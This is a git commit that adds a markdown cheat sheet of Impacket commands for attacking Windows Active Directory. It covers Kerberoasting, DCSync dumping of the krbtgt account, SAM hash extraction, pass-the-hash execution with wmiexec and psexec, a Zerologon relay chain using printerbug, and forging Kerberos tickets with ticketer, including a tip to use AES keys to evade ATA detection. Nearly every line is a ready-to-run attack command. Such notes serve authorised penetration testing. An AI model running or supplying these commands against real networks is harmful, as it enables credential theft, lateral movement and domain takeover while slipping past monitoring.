first commit

Necronomicon/Tools/Impacket.md

@@ -0,0 +1,25 @@
+- Kerberoast
+	- `python3 GetUserSPNs.py -request -dc-ip [IP address for Domain Controller] cyberpunk.com/[USER]`
+- DCSync
+	- `.secretsdump.py -just-dc-user [ACCOUNT] [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]`
+		- `secretsdump.py 'contoso.local/[email protected]' -just-dc-user krbtgt`
+- Dump local SAM file
+	- `secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`
+- WMIExec
+	- `impacket-wmiexec [email protected]`
+	- `impacket-wmiexec -hashes AAD3B435B51404EEAAD3B435B51404EE:a6a6591a1fef4938ce2ca6ea255838a9 [email protected]`
+- Zerologon using NTLM Relay:
+	- `impacket-ntlmrelayx -t DCSYNC://<DCvulnerabletoZL> -smb2support -auth-smb 'DOMAIN/USER:PASSWORD'`
+	- `python3 printerbug.py 'DOMAIN/USER:PASSWORD@<OtherDC>' <attackerIP`
+- PSExec
+	- `psexec.py contoso.local/[email protected] -hashes :cdeae556dc28c24b5b7b14e9df5b6e21`
+- getTGT
+	- `getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21`
+	- `export KRB5CCNAME=$(pwd)/Anakin.ccache`
+	- `psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass`
+		- Must use hostname instead of IP; Kerberos requires it to determine the correct service
+- NTLMRelayX
+	- `ntlmrelayx.py -t 192.168.100.10 -smb2support`
+- Ticketer
+	- `ticketer.py -domain-sid S-1-5-21-1372086773-2238746523-2939299801 -domain contoso.local Administrator -aes 5249e3cf829c979959286c0ee145b7e6b8b8589287bea3c83dd5c9488c40f162`
+		- Use AES-256 hash to avoid ATA